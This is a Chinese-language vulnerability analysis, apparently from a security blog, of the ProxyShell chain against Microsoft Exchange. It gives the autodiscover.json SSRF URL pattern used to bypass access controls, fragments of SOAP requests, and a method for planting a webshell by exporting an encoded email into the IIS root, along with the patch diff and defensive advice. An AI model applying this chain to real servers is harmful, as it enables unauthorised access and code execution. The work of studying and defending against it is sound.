利用链大致分两个阶段,ACL绕过和在绕过前提下的wsdl的SOAP接口利用,最终能导致RCE,利用效果图如下:
![](https://img8.php1.cn/3cdc5/1585b/807/995749848e4a1bb4.png)
1.ACL绕过
在ProxyLogon就存在SSRF,而ProxyShell的SSRF利用点稍有不同,但是利用原理还是一致的,在Exchange 端挂调试下断点,调试dll代码如下,可知URL前后解析方式如下:
![](https://img8.php1.cn/3cdc5/1585b/807/43164d507a25d402.png)
解析前URL
![](https://img8.php1.cn/3cdc5/1585b/807/61b2d6ce5d457049.png)
解析后URL
https://Exchange:443/autodiscover/autodiscover.json?a=axx@foo.com/autodiscover/autodiscover.xml
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
https://Exhcage:444/autodiscove/autodiscover.xml
从结果看443端口转向 444端口,那么现在再去看在服务端Exchange的web站点分布情况,页面是跑在IIS组件上的,故而看IIS上的站点分布,存在前台服务和后台服务,即存在80到81、443到444的映射关系。
![](https://img8.php1.cn/3cdc5/1585b/807/01f9f305fa0795e8.png)
前台服务
![](https://img8.php1.cn/3cdc5/1585b/807/171575dff1c4a86a.png)
后台服务
现在看利用的本质就是在前台服务中存在校验缺失,导致外面发起的请求可以以前台服务的进程作为跳板进行后台服务资源的访问。
![](https://img8.php1.cn/3cdc5/1585b/807/38fb859bd4aff10f.png)
从代码上看
Microsoft.Exchange.FrontEndHttpProxy.dll
![](https://img8.php1.cn/3cdc5/1585b/807/e9310afa81e572b0.png)
![](https://img8.php1.cn/3cdc5/1585b/807/ebf1ca0ec571892a.png)
![](https://img8.php1.cn/3cdc5/1585b/807/ca24de39c58c1b45.png)
伪代码如下
GetClientUrlForProxy(){
If(isExplicitLogoRequest&&IsAutodiscoverV2Request(base.url))
RemoveExplicitLogoFromUrlAbsoluteUri(AbsoluteUri,ExplicitLogoaddress)
}
存在3个函数
1. GetClientUrlForProxy
2. isExplicitLogoRequest
3. IsAutodiscoverV2Request
IsAutodiscoverV2Request是关键点,如上图所示,在于/autodiscover.json,如果IsAutodiscoverV2Request存在就可导致URL删除中间部分生成新的uri从而产生了如下解析,导致了SSRF
2.接口利用
Exchange的安装目录如下,可见软件自身就设计了有较多的接口用于业务需求,攻击方式正是基于如上解析方式进行ACL权限绕过,访问铭感资源(想起几年前的某酒店因为wsdl接口外露,被人发现可直接写文件的接口直接RCE的情况),对于接口的利用在于wsdl的SOAP XML请求的参数要求及报文格式,利用得当的情况下,可在未授权情况下获取配置信息(LegacyDN、SID、邮箱账户)、读写文件、命令交互等。
![](https://img8.php1.cn/3cdc5/1585b/807/e38be32e007098ce.png)
接口利用截图
![](https://img8.php1.cn/3cdc5/1585b/807/981995d4ba86c811.png)
以获取LegacyDN信息为例
向/autodiscover/autodiscover.json?a=foo@foo.com/autodiscover/autodiscover.xml发送如下xml请求可返回LegacyDN内容
mara@contoso.com
https://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
而里面所需的EMailAddress参数如果未知,可使用官方包含的默认特殊系统邮箱。
![](https://img8.php1.cn/3cdc5/1585b/807/36e45faa7ad95b7b.png)
xml格式官方文档连接如下
https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover
![](https://img8.php1.cn/3cdc5/1585b/807/b9cb6e33037f30bf.png)
其他接口对应的请求测试如下所示
获取SID
![](https://img8.php1.cn/3cdc5/1585b/807/7a1389fe9fef46db.png)
获取邮箱
![](https://img8.php1.cn/3cdc5/1585b/807/0e888429f18bfbeb.png)
写入文件
![](https://img8.php1.cn/3cdc5/1585b/807/c4b3179e6f2c96b0.png)
![](https://img8.php1.cn/3cdc5/1585b/807/9bfddb6ea9eed747.png)
![](https://img8.php1.cn/3cdc5/1585b/807/b61049a99191d3a3.png)
实现写入文件的思路大致为调用邮件接口发送邮件,在调用导出邮件接口,向指定系统路径(iis根目录)写入webshell。由于邮件内容为PST格式,IIS解析不了,需要二次解码,即发送之前先编码一次,导出的时候在解码成正常格式即可,
编码方式官方文档链接如下(https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd)。
![](https://img8.php1.cn/3cdc5/1585b/807/75ce16075db1c8b2.png)
在写入文件的时候还需要构造COOKIE才能进行调用访问,如果没有COOKIE会返回401,所幸构造的所需要的内容可以通过SSRF获取,然后在分析调试代码在手工构造,发送邮件然后导出邮件。
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
S-1-5-21-1692751536-334164737-1685896678-16656
S-1-5-21
tsjsupqgmdciximd
hello by xyy
f.txt
false
false
ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk=
administartor@tamail.com
调试代码如下:
Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
序列化解密X-Rps-CAT数值的代码如下
![](https://img8.php1.cn/3cdc5/1585b/807/b64d8c679a9e0c15.png)
![](https://img8.php1.cn/3cdc5/1585b/807/cb472dea9e937650.png)
![](https://img8.php1.cn/3cdc5/1585b/807/de667601b137237b.png)
![](https://img8.php1.cn/3cdc5/1585b/807/bd43bdf1f76647dc.png)
![](https://img8.php1.cn/3cdc5/1585b/807/70083f91175d8605.png)
![](https://img8.php1.cn/3cdc5/1585b/807/a10d146e785df550.png)
0x03修复原理
修复前
![](https://img8.php1.cn/3cdc5/1585b/807/c720e2f58b5a7f27.png)
修复后
![](https://img8.php1.cn/3cdc5/1585b/807/decb2321bb8e5d3e.png)
可以明显看出删除了IsAutodiscoverV2Request判断防止SSRF的发生。
0x04总结
SSRF漏洞看似危害不大,但是只要后续攻击链够完整,一样能发挥关键作用,就像这次的绕过加利用,又或是之前看过SSRF到内网漫游的利用。从流量防御的角度来看(毕竟官方的补丁也不是那么及时),找准利用的入口点(autodiscover.json)以及其他能造成危害的接口(/ews、/ecp、/autodiscover、/powershell等等)设置相应的防御手段即可。从漏洞挖掘的角度来看,动态调试永远是清晰体现流量的生命周期的一个不错的方式。
链接:
https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1